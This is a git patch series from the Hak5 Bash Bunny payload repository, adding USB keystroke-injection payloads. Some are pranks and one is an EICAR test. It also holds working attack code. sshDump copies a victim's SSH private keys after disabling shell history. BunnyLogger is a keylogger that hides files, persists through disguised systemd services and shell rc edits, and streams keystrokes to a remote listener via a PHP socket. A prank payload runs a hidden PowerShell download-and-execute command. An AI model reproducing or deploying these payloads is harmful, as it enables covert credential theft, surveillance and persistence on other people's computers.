"SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "í":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "'":"02,00,1e", + "\"":"02,00,1f", + "+":"02,00,20", + "!":"02,00,21", + "%":"02,00,22", + "/":"02,00,23", + "=":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "Ö":"02,00,27", + "Ü":"02,00,2d", + "Ó":"02,00,2e", + "Ő":"02,00,2f", + "Ú":"02,00,30", + "Ű":"02,00,31", + "É":"02,00,33", + "Á":"02,00,34", + "?":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + "Í":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00", + "{":"40,00,05", + "&":"40,00,06", + "[":"40,00,09", + "]":"40,00,0a", + "}":"40,00,11", + "\\":"40,00,14", + "@":"40,00,19", + "|":"40,00,1a", + "#":"40,00,1b", + ">":"40,00,1d", + "~":"40,00,1e", + "^":"40,00,20", + "`":"40,00,24", + "$":"40,00,33", + ";":"40,00,36", + "*":"40,00,38", + "<":"40,00,64" +} From 3184c229c7a78c2d13f2385e89a8597bceb5538d Mon Sep 17 00:00:00 2001 From: Bearz314 Date: Tue, 15 Feb 2022 13:40:29 +1100 Subject: [PATCH 03/14] Fix for zsh (#351) While comparison = and == are identical on bash (refer http://www.tldp.org/LDP/abs/html/comparison-ops.html ), double equals behave differently on zsh (refer https://unix.stackexchange.com/questions/255480/why-does-behave-differently-inside-in-zsh-and-bash ). Single = is also equally POSIX compliant. Co-Authored-By: Minh Thien Nhat Nguyen Co-authored-by: Minh Thien Nhat Nguyen --- payloads/library/prank/UnifiedRickRoll/payload.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/prank/UnifiedRickRoll/payload.txt b/payloads/library/prank/UnifiedRickRoll/payload.txt index c59d5611..d43fd529 100755 --- a/payloads/library/prank/UnifiedRickRoll/payload.txt +++ b/payloads/library/prank/UnifiedRickRoll/payload.txt @@ -13,7 +13,7 @@ Q DELAY 1000 Q GUI n Q DELAY 1000 -Q STRING hi=0\; ho=\$\(date \'+%H%M\'\)\; while test \$hi == \'0\'\; do if [ \$ho == $time ]\; then osascript -e \"set Volume 9\" \&\& open \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \; hi=1\; fi\; ho=\$\(date \'+%H%M\'\)\; sleep 1\; done \& disown +Q STRING hi=0\; ho=\$\(date \'+%H%M\'\)\; while [ \$hi = \'0\' ]\; do if [ \$ho = $time ]\; then osascript -e \"set Volume 9\" \&\& open \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \; hi=1\; fi\; ho=\$\(date \'+%H%M\'\)\; sleep 1\; done \& disown # close up shop Q DELAY 1000 From a5d11747cf6643de11ae59b6450a68549f184a47 Mon Sep 17 00:00:00 2001 From: Whiskey Xray <30738667+whiskeyxray@users.noreply.github.com> Date: Mon, 14 Feb 2022 21:40:59 -0500 Subject: [PATCH 04/14] Simple MacOS EICAR PoC Payload (#350) * Add files via upload * Add files via upload Co-authored-by: Ciph3rtxt <30738667+Ciph3rtxt@users.noreply.github.com> --- payloads/library/poc/MacOS_EICAR/eicar.sh | 2 ++ payloads/library/poc/MacOS_EICAR/payload.txt | 32 ++++++++++++++++++++ payloads/library/poc/MacOS_EICAR/readme.md | 19 ++++++++++++ 3 files changed, 53 insertions(+) create mode 100644 payloads/library/poc/MacOS_EICAR/eicar.sh create mode 100644 payloads/library/poc/MacOS_EICAR/payload.txt create mode 100644 payloads/library/poc/MacOS_EICAR/readme.md diff --git a/payloads/library/poc/MacOS_EICAR/eicar.sh b/payloads/library/poc/MacOS_EICAR/eicar.sh new file mode 100644 index 00000000..ddc8fd66 --- /dev/null +++ b/payloads/library/poc/MacOS_EICAR/eicar.sh @@ -0,0 +1,2 @@ +#!/bin/bash +echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'\ >Desktop/Malware.txt \ No newline at end of file diff --git a/payloads/library/poc/MacOS_EICAR/payload.txt b/payloads/library/poc/MacOS_EICAR/payload.txt new file mode 100644 index 00000000..e9df2733 --- /dev/null +++ b/payloads/library/poc/MacOS_EICAR/payload.txt @@ -0,0 +1,32 @@ +#!/bin/bash +# Title: MacOS_EICAR +# Description: Bad USB PoC for MacOS. +# Author: Ciph3rtxt +# Category: PoC +# Target: MacOS +# Attackmodes: HID STORAGE + +# Setup +LED R +ATTACKMODE HID STORAGE +GET SWITCH_POSITION +path=/Volumes/BashBunny/payloads/$SWITCH_POSITION + + +# Execute Attack +LED R +DELAY 200 +RUN OSX terminal +Q DELAY 2000 +Q STRING cd +Q ENTER +Q DELAY 200 +Q STRING chmod a+x $path/eicar.sh +Q ENTER +Q DELAY 200 +Q STRING $path/eicar.sh +Q ENTER +Q DELAY 200 + +# Complete +LED G \ No newline at end of file diff --git a/payloads/library/poc/MacOS_EICAR/readme.md b/payloads/library/poc/MacOS_EICAR/readme.md new file mode 100644 index 00000000..790607ce --- /dev/null +++ b/payloads/library/poc/MacOS_EICAR/readme.md @@ -0,0 +1,19 @@ +# MacOS EICAR PoC + +Author: Ciph3rtxt + + +## Category: + +PoC + +## Description: + +Generates EICAR file to simulate USB (physical access) malware attack. + +## Status: + +|LED|STATUS| +|-|-| +|Red|Attack| +|Green|Complete| \ No newline at end of file From 0d51a41aebec0a99da79b16a2cde67c7d4a76302 Mon Sep 17 00:00:00 2001 From: Decidedly Gray Date: Sun, 27 Feb 2022 10:28:26 -0800 Subject: [PATCH 05/14] Updated links in README.md (#497) Fixed some stale links in the README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index ecfd2491..9ad3dabe 100644 --- a/README.md +++ b/README.md @@ -6,14 +6,14 @@ This repository contains payloads and extensions for the Hak5 Bash Bunny. Commun By emulating combinations of trusted USB devices — like gigabit Ethernet, serial, flash storage and keyboards — the Bash Bunny tricks computers into divulging data, exfiltrating documents, installing backdoors and many more exploits. - [Purchase at Hak5](https://hak5.org/products/bash-bunny "Purchase at Hak5") -- [Documentation](https://docs.hak5.org/hc/en-us/categories/360000982534-Bash-Bunny "Documentation") -- [Bash Bunny Forums](https://forums.hak5.org/index.php?/forum/92-bash-bunny/ "Forums") +- [Documentation](https://hak5.org/products/bash-bunny "Documentation") +- [Bash Bunny Forums](https://forums.hak5.org/forum/92-bash-bunny/ "Forums") - Discord: [https://hak5.org/discord](https://hak5.org/discord) ![enter image description here](https://cdn.shopify.com/s/files/1/0068/2142/products/bash-bunny-mk2_001_c58d9658-b151-4328-af26-11eef3c47355_300x.jpg) ## Documentation -Documentation on developing payloads for the Bash Bunny can be found on the [docs.hak5.org](https://docs.hak5.org/hc/en-us/categories/360000982534-Bash-Bunny) website. Guides can be found on the [Bash Bunny blog](https://hak5.org/blogs/bash-bunny). +Documentation on developing payloads for the Bash Bunny can be found on the [docs.hak5.org](https://docs.hak5.org/bash-bunny/) website. Guides can be found on the [Bash Bunny blog](https://hak5.org/blogs/bash-bunny). ## Disclaimer Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness. As with any script, you are advised to proceed with caution. From b86412afbd17445adffcc9fc2accd0e4dbbad765 Mon Sep 17 00:00:00 2001 From: Darren Kitchen Date: Sun, 27 Feb 2022 12:30:09 -0600 Subject: [PATCH 06/14] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9ad3dabe..257d1f1b 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ This repository contains payloads and extensions for the Hak5 Bash Bunny. Commun By emulating combinations of trusted USB devices — like gigabit Ethernet, serial, flash storage and keyboards — the Bash Bunny tricks computers into divulging data, exfiltrating documents, installing backdoors and many more exploits. - [Purchase at Hak5](https://hak5.org/products/bash-bunny "Purchase at Hak5") -- [Documentation](https://hak5.org/products/bash-bunny "Documentation") +- [Documentation](https://docs.hak5.org/bash-bunny/ "Documentation") - [Bash Bunny Forums](https://forums.hak5.org/forum/92-bash-bunny/ "Forums") - Discord: [https://hak5.org/discord](https://hak5.org/discord) From a0ee4512b32bf3cb23b70653571ed81926303111 Mon Sep 17 00:00:00 2001 From: cribb-it <24548670+cribb-it@users.noreply.github.com> Date: Sun, 27 Feb 2022 18:31:27 +0000 Subject: [PATCH 07/14] New Payload - Hi There (#496) --- .../prank/Win_PoSh_HiThere/payload.txt | 37 +++++++++++++++++++ .../library/prank/Win_PoSh_HiThere/readme.md | 33 +++++++++++++++++ payloads/library/prank/Win_PoSh_HiThere/s | 19 ++++++++++ 3 files changed, 89 insertions(+) create mode 100644 payloads/library/prank/Win_PoSh_HiThere/payload.txt create mode 100644 payloads/library/prank/Win_PoSh_HiThere/readme.md create mode 100644 payloads/library/prank/Win_PoSh_HiThere/s diff --git a/payloads/library/prank/Win_PoSh_HiThere/payload.txt b/payloads/library/prank/Win_PoSh_HiThere/payload.txt new file mode 100644 index 00000000..06d8fb8f --- /dev/null +++ b/payloads/library/prank/Win_PoSh_HiThere/payload.txt @@ -0,0 +1,37 @@ +#!/bin/bash +# Title: Hi There +# Description: Creates a hidden link file that override the ctrl+c functionality. +# So, where the use press ctrl+c it lunches the first sign-in animation. +# Author: Cribbit +# Version: 1.0 +# Category: Pranks +# Target: Windows (Powershell 5.1+) +# Attackmodes: RNDIS_ETHERNET HID +# Props: v3ded, Hexacorn and Audibleblink (Python Server) + +LED SETUP +ATTACKMODE RNDIS_ETHERNET HID + +GET SWITCH_POSITION +GET HOST_IP + + +cd /root/udisk/payloads/$SWITCH_POSITION/ + +# starting server +LED SPECIAL + +# disallow outgoing dns requests so server starts immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & + +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done + +# attack commences +LED ATTACK +QUACK DELAY 200 +RUN WIN "powershell -Noni -NoP -W h -EP Bypass -C \"iex (New-Object Net.WebClient).DownloadString('http://$HOST_IP/s')\"" +QUACK DELAY 500 +QUACK CTRL c +LED FINISH \ No newline at end of file diff --git a/payloads/library/prank/Win_PoSh_HiThere/readme.md b/payloads/library/prank/Win_PoSh_HiThere/readme.md new file mode 100644 index 00000000..ea7f5a4c --- /dev/null +++ b/payloads/library/prank/Win_PoSh_HiThere/readme.md @@ -0,0 +1,33 @@ +# Hi There +- Author: Cribbit +- Version: 1.0 +- Tested on: Windows 10 (Powershell 5.1+) +- Category: Pranks +- Attackmode: HID & RNDIS_ETHERNET +- Extensions: Run +- Props: v3ded, Hexacorn and Audibleblink (Python Server) + +## Change Log +| Version | Changes | +| ------- | --------------- | +| 1.0 | Initial release | + +## Description +Creates a hidden link file that override the ctrl+c functionality. +So, where the use press ctrl+c it lunches the first sign-in animation. + +## Notes +to kill the animation, you need to open task manger and look for "First Sign-in Animation". +For extra evilness add `/explorer` to the `$shortcut.Arguments` line in the script file. Then you can't switch programs or kill it. + +## More information + + + + +## Colours +| Status | Colour | Description | +| -------- | ----------------------------- | --------------------------- | +| SETUP | Magenta solid | Setting attack mode | +| ATTACK | Yellow single blink | Injecting Powershell script | +| FINISHED | Green blink followed by SOLID | Injection finished | \ No newline at end of file diff --git a/payloads/library/prank/Win_PoSh_HiThere/s b/payloads/library/prank/Win_PoSh_HiThere/s new file mode 100644 index 00000000..2641a532 --- /dev/null +++ b/payloads/library/prank/Win_PoSh_HiThere/s @@ -0,0 +1,19 @@ +$path = "$([Environment]::GetFolderPath('Desktop'))\readme.lnk" +$wshell = New-Object -ComObject Wscript.Shell +$shortcut = $wshell.CreateShortcut($path) + +$shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70" + +$shortcut.TargetPath = "C:\Windows\System32\oobe\FirstLogonAnim.exe" +$shortcut.Arguments = "/RunFirstLogonAnim" +$shortcut.WorkingDirectory = "C:" +$shortcut.HotKey = "CTRL+C" +$shortcut.Description = "Contain very important information" + +$shortcut.WindowStyle = 7 + # 7 = Minimized window + # 3 = Maximized window + # 1 = Normal window +$shortcut.Save() + +(Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks) \ No newline at end of file From ba801201a74590c1d9972f0ed95633dde0351802 Mon Sep 17 00:00:00 2001 From: cribb-it <24548670+cribb-it@users.noreply.github.com> Date: Mon, 28 Feb 2022 21:31:15 +0000 Subject: [PATCH 08/14] Update - Hi there (#498) * New Payload - Hi There * Update Description --- payloads/library/prank/Win_PoSh_HiThere/payload.txt | 2 +- payloads/library/prank/Win_PoSh_HiThere/readme.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/prank/Win_PoSh_HiThere/payload.txt b/payloads/library/prank/Win_PoSh_HiThere/payload.txt index 06d8fb8f..a5127923 100644 --- a/payloads/library/prank/Win_PoSh_HiThere/payload.txt +++ b/payloads/library/prank/Win_PoSh_HiThere/payload.txt @@ -1,7 +1,7 @@ #!/bin/bash # Title: Hi There # Description: Creates a hidden link file that override the ctrl+c functionality. -# So, where the use press ctrl+c it lunches the first sign-in animation. +# So, when the user press ctrl+c it lunches the first sign-in animation. # Author: Cribbit # Version: 1.0 # Category: Pranks diff --git a/payloads/library/prank/Win_PoSh_HiThere/readme.md b/payloads/library/prank/Win_PoSh_HiThere/readme.md index ea7f5a4c..40b76c48 100644 --- a/payloads/library/prank/Win_PoSh_HiThere/readme.md +++ b/payloads/library/prank/Win_PoSh_HiThere/readme.md @@ -14,7 +14,7 @@ ## Description Creates a hidden link file that override the ctrl+c functionality. -So, where the use press ctrl+c it lunches the first sign-in animation. +So, when the user press ctrl+c it lunches the first sign-in animation. ## Notes to kill the animation, you need to open task manger and look for "First Sign-in Animation". From db8fdc67f4f804bdf707c3b8db2728d7c61c4ca0 Mon Sep 17 00:00:00 2001 From: drapl0n tuxed0 <87269662+drapl0n@users.noreply.github.com> Date: Sat, 5 Mar 2022 01:05:03 +0530 Subject: [PATCH 09/14] created sshDump (#499) --- .../library/credentials/sshDump/payload.txt | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 payloads/library/credentials/sshDump/payload.txt diff --git a/payloads/library/credentials/sshDump/payload.txt b/payloads/library/credentials/sshDump/payload.txt new file mode 100644 index 00000000..01ee9ad0 --- /dev/null +++ b/payloads/library/credentials/sshDump/payload.txt @@ -0,0 +1,49 @@ +# Title: sshDump +# Description: Taking advantage of plain stored ssh private keys in home dir, sshDump grabs them for you. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Credentials +# Target: GNU/Linux. +# Attackmodes: HID, Storage. + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [Looting] +Q STRING cp -r '~/.ssh' '$mntt/loot/SSH' +Q ENTER +Q DELAY 2000 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH From 2fdb38a3b429c2725ee0392301a37afafffabdd3 Mon Sep 17 00:00:00 2001 From: drapl0n tuxed0 <87269662+drapl0n@users.noreply.github.com> Date: Mon, 7 Mar 2022 21:20:39 +0530 Subject: [PATCH 10/14] Uploaded BunnyLogger (#500) --- .../library/credentials/BunnyLogger/README.md | 62 ++++++++++++++++++ .../BunnyLogger/bunnyLoggerDecoder | 50 ++++++++++++++ .../credentials/BunnyLogger/payload.sh | 24 +++++++ .../credentials/BunnyLogger/payload.txt | 56 ++++++++++++++++ .../library/credentials/BunnyLogger/xinput | Bin 0 -> 60768 bytes 5 files changed, 192 insertions(+) create mode 100644 payloads/library/credentials/BunnyLogger/README.md create mode 100644 payloads/library/credentials/BunnyLogger/bunnyLoggerDecoder create mode 100644 payloads/library/credentials/BunnyLogger/payload.sh create mode 100644 payloads/library/credentials/BunnyLogger/payload.txt create mode 100644 payloads/library/credentials/BunnyLogger/xinput diff --git a/payloads/library/credentials/BunnyLogger/README.md b/payloads/library/credentials/BunnyLogger/README.md new file mode 100644 index 00000000..7c19270f --- /dev/null +++ b/payloads/library/credentials/BunnyLogger/README.md @@ -0,0 +1,62 @@ +## About: +* Title: BunnyLogger +* Description: Key logger which sends each and every key stroke of target remotely/locally. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Credentials +* Target: Unix-like operating systems with systemd. +* Attackmodes: HID, Storage + +## BunnyLogger: BunnyLogger is a Key Logger which captures every key stroke of traget and send them to attacker. + +### Features: +* Live keystroke capturing. +* Detailed key logs. +* Persistent +* Autostart payload on boot. + +### Workflow: +* Encoding payload and injecting on target's system. +* Checks whether internet is connected to the target system. +* If internet is connected then it sends raw keystrokes to attacker. +* Attacker processes raw keystrokes. + +### Changes to be made in payload.sh: +* Replace ip(0.0.0.0) and port number(4444) with your servers ip address and port number on line no `11`. +* Increase/Decrease time interval to restart service periodically (Default is 15 mins), on line no `15`. + +### LED Status: +* `SETUP` : MAGENTA +* `ATTACK` : YELLOW +* `FINISH` : GREEN + +### Directory Structure of payload components: +| FileName | Directory | +| -------------- | ----------------------------- | +| payload.txt | /payload/switch1/ | +| payload.sh | /payload/ | +| xinput | /tools/ | + +### Usage: +1. Encode payload.txt and inject into target's system. +2. Start netcat listner on attacking system: + +* `nc -lvp > ` use this command to create new logfile with raw keystrokes. +* `nc -lvp >> ` use this command to append raw keystrokes to existing logfile. +3. Process raw keystrokes using BunnyLoggerDecoder utility: +``` +./bunnyLoggerDecoder +bunnyLoggerDecoder is used to decode raw key strokes acquired by bunnyLogger. + +Usage: +Decode captured log: [./bunnyLoggerDecoder -f -m -o ] + +Options: +-f Specify Log file. +-m Select Mode(normal|informative) +-o Specify Output file. +-h For this banner. +``` + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/credentials/BunnyLogger/bunnyLoggerDecoder b/payloads/library/credentials/BunnyLogger/bunnyLoggerDecoder new file mode 100644 index 00000000..c4aa994d --- /dev/null +++ b/payloads/library/credentials/BunnyLogger/bunnyLoggerDecoder @@ -0,0 +1,50 @@ +usage () { + echo -e "BunnyLoggerDecoder is used to decode raw key strokes acquired by BunnyLogger.\n" + echo -e "Usage: \nDecode captured log:\t[./bunnyLoggerDecoder -f -m -o ]"; + echo -e "\nOptions:" + echo -e "-f\tSpecify Log file." + echo -e "-m\tSelect Mode(normal|informative)" + echo -e "-o\tSpecify Output file." + echo -e "-h\tFor this banner." +} +while getopts o:m:f:h: flag +do + case "${flag}" in + o) output=$OPTARG ;; + m) mode=$OPTARG ;; + f) filename=$OPTARG ;; + h) help=$OPTARG ;; + *) + usage + exit 1 + esac +done + +if [ -z "$output" ] && [ -z "$filename" ]; then + usage + exit 1 +fi +if [ -z "$filename" ]; then + echo -e "BunnyLoggerDecoder: Missing option \"-f\"(Log file not specified).\nUse \"-h\" for more information." >&2 + exit 1 +fi +if [ -z "$output" ]; then + echo -e "BunnyLoggerDecoder: Missing option \"-o\"(Output file not specified).\nUse \"-h\" for help." >&2 + exit 1 +fi +if [ -z "$mode" ]; then + echo -e "BunnyLoggerDecoder: Missing option \"-m\"(Mode not specified).\nUse \"-h\" for help." >&2 + exit 1 +fi +if [ "$mode" != "informative" ] && [ "$mode" != "normal" ]; then + echo -e "BunnyLoggerDecoder: Invalid mode \"$mode\".\nUse \"-h\" for help." >&2 + exit 1 +fi +if [ "$mode" == "normal" ] ; then + awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $filename | grep press | awk '{print $4}' > $output + exit 1 +fi +if [ "$mode" == "informative" ] ; then + awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $filename > $output + exit 1 +fi diff --git a/payloads/library/credentials/BunnyLogger/payload.sh b/payloads/library/credentials/BunnyLogger/payload.sh new file mode 100644 index 00000000..90d1ea36 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger/payload.sh @@ -0,0 +1,24 @@ +#!/bin/bash +unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +mkdir /var/tmp/.system +lol=$(lsblk | grep 1.8G) +disk=$(echo $lol | awk '{print $1}') +mntt=$(lsblk | grep $disk | awk '{print $7}') +cp -r $mntt/tools/xinput /var/tmp/.system/ +echo "/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys +chmod +x /var/tmp/.system/sys +chmod +x /var/tmp/.system/xinput +echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus +chmod +x /var/tmp/.system/systemBus +mkdir -p ~/.config/systemd/user +echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service +echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot +chmod +x /var/tmp/.system/reboot +echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/reboot.service +systemctl --user daemon-reload +systemctl --user enable --now systemBUS.service +systemctl --user start --now systemBUS.service +systemctl --user enable --now reboot.service +systemctl --user start --now reboot.service +echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp +chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit diff --git a/payloads/library/credentials/BunnyLogger/payload.txt b/payloads/library/credentials/BunnyLogger/payload.txt new file mode 100644 index 00000000..f9c67969 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger/payload.txt @@ -0,0 +1,56 @@ +# Title: BunnyLogger +# Description: Key logger which sends each and every key stroke of target remotely/locally. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Credentials +# Target: Unix-like operating systems with systemd. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering payload script] +Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/ +Q ENTER +Q STRING chmod +x /tmp/payload.sh +Q ENTER +Q STRING /tmp/./payload.sh +Q ENTER +Q DELAY 2000 +Q STRING rm /tmp/payload.sh +Q ENTER +Q DELAY 500 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH diff --git a/payloads/library/credentials/BunnyLogger/xinput b/payloads/library/credentials/BunnyLogger/xinput new file mode 100644 index 0000000000000000000000000000000000000000..b9a549880f323010103c5fc2770f3968e336d81c GIT binary patch literal 60768 zcmeFadw5e-_CI`5S}C`ls8p+>MlD*DV#`Haq}V_TCzxV~a_NX%LYmTQo76Oc;viJh zDw!DUco`W-XBfwsVH};o%OIjcxnD*d1TUzgRJ@&IK@kxU#lD}l_BqLEXy^C+zQ5;r zpZ5>*ke;*GUVH7e*IsMwwb$7vEG=NXARxth#oW*I8(fN|0;wPV z4w5dA&OkYpVWPfRTu>`M)hS)C={md@uGDUoUY~p&q~jS^gG0JfyPiJvHc?|-C95b? zyEMAZ6XoPtGONbw^DDHbS)bu;KtS5j%2gy15v-~P}gfyZ&BW%UyXJo4r;en zZ?{%&XIyQ%yo{?MPvVijTlD(ms{?iPF|LG5pR!Mbm2{uCo{OhlpU?$wT#a@=Lp$R0 zfBMmSLG z7HeOEO~IEwITzkLXk5u#2iJXk|Kc~iuh;FntzuB&k*J}f0x9Y5GIV@a5{!xupyTe~ z+k1fD492>{f3pYrqkDi4K;JfEAnEfEgwY-S>>lWh>jD004}7|Mp#K#3=&s*C^&p2C zJ@h-I2l&T5^!r#3_)R_VGrI>mH9d@XQxEjZdVsI!fzC@k;Qy-!KA-4;&mq9K;hX$% z_CWt=5B!w$FfV<2fWL$eyPMyOdf;+J@9`+5Abz8!1tlU?)31c z9{Qct1O7Wb(7&?>`0YK&A=txwb@sqdE$EynohKE4DXYD40Dh@~WV*KN_{ntc1DyJuo7As__@g2}p8}3+q&d#1rE@C10q^{phM+evwRC)~ z-{+m`o>%LY=FFL2=l9KN2)YBoIdcSRw}=&!y^X<=1zulJswj0g+^XMBs0}q#OBLmd zd>(?=WL`WH$S69QhZRN?fYKc7A5uahb!dV_Q`*Pg>7;w)M5E@DMR0YuqUT@_*x98UJeqS))uSHuia^|{$g(3)kEKJ-X4) zsSiLAs^)mAZkGb(JKs&gffK;_G zPy+)36;E{lR6LFDIaM`2cWuq>fO>-q=7p-bwyqwvG#1@4)wyeYQWb{ZOjh{1o*oeg4u#xfmYvXqb*zjSa$ic#)^Cv~WGp+9Xe%H3@vt zPW%;6IOEekyo-0j)Ega8n}J;JC7r34L+2BIigba_fU(~<)~&;OK4rDOpEuyEb$Im= z!LtE3$}5xMPYb+NN$^8De036h?pT4pHVM8!$8Sr5H$5ZpcO=1AjuG(PN$`7gI{T8~ zt8_Z;N$}Pi1sydB{-{ppa1z`Y*NG&!R4C|3--xRrx4-Fh(v#r3b$+Z#@YSP5`>Z7R zI-QO!37-C}z|Tp7+olM3UJ`tpPNyIVo~P3(PJ-_)6Lgd$_-nLL#-}U^UZ&HjNP;)r zAn@lV!T+uEQ=J4ib9Fj9lHfKSzB>tC9~N}>CBeu2RlwVm z;KOt}Y7)GuS>PW|f{)PgPb9%d>u`xSZ1@=ZU)-XXli)5L-QgH&c3h2l_CNo^-hp>6Z{;3!hcm0+??n=Y=YZO z_$N&8pPAssK9<6R$tJk5&m?%c37&OW6o^M`wc{U~32sDARGDLfBdm#k@=S1ZG*w`N z>mdubDK^1H)FenLCb;2isHV&WM*tN6RG8p><4{SOYl8PP!K+R1{w8?62|mCCZ#2O( zOzpKgDWz)uqR zNdiAf;3o8v=25&lG4%^OzGUM zgtw$`jx*9Z>Hw-b2Y-UU^2NotqjELXYwex*41SNwl%m#lb9oPyDK)LNad{V&DJ89~ 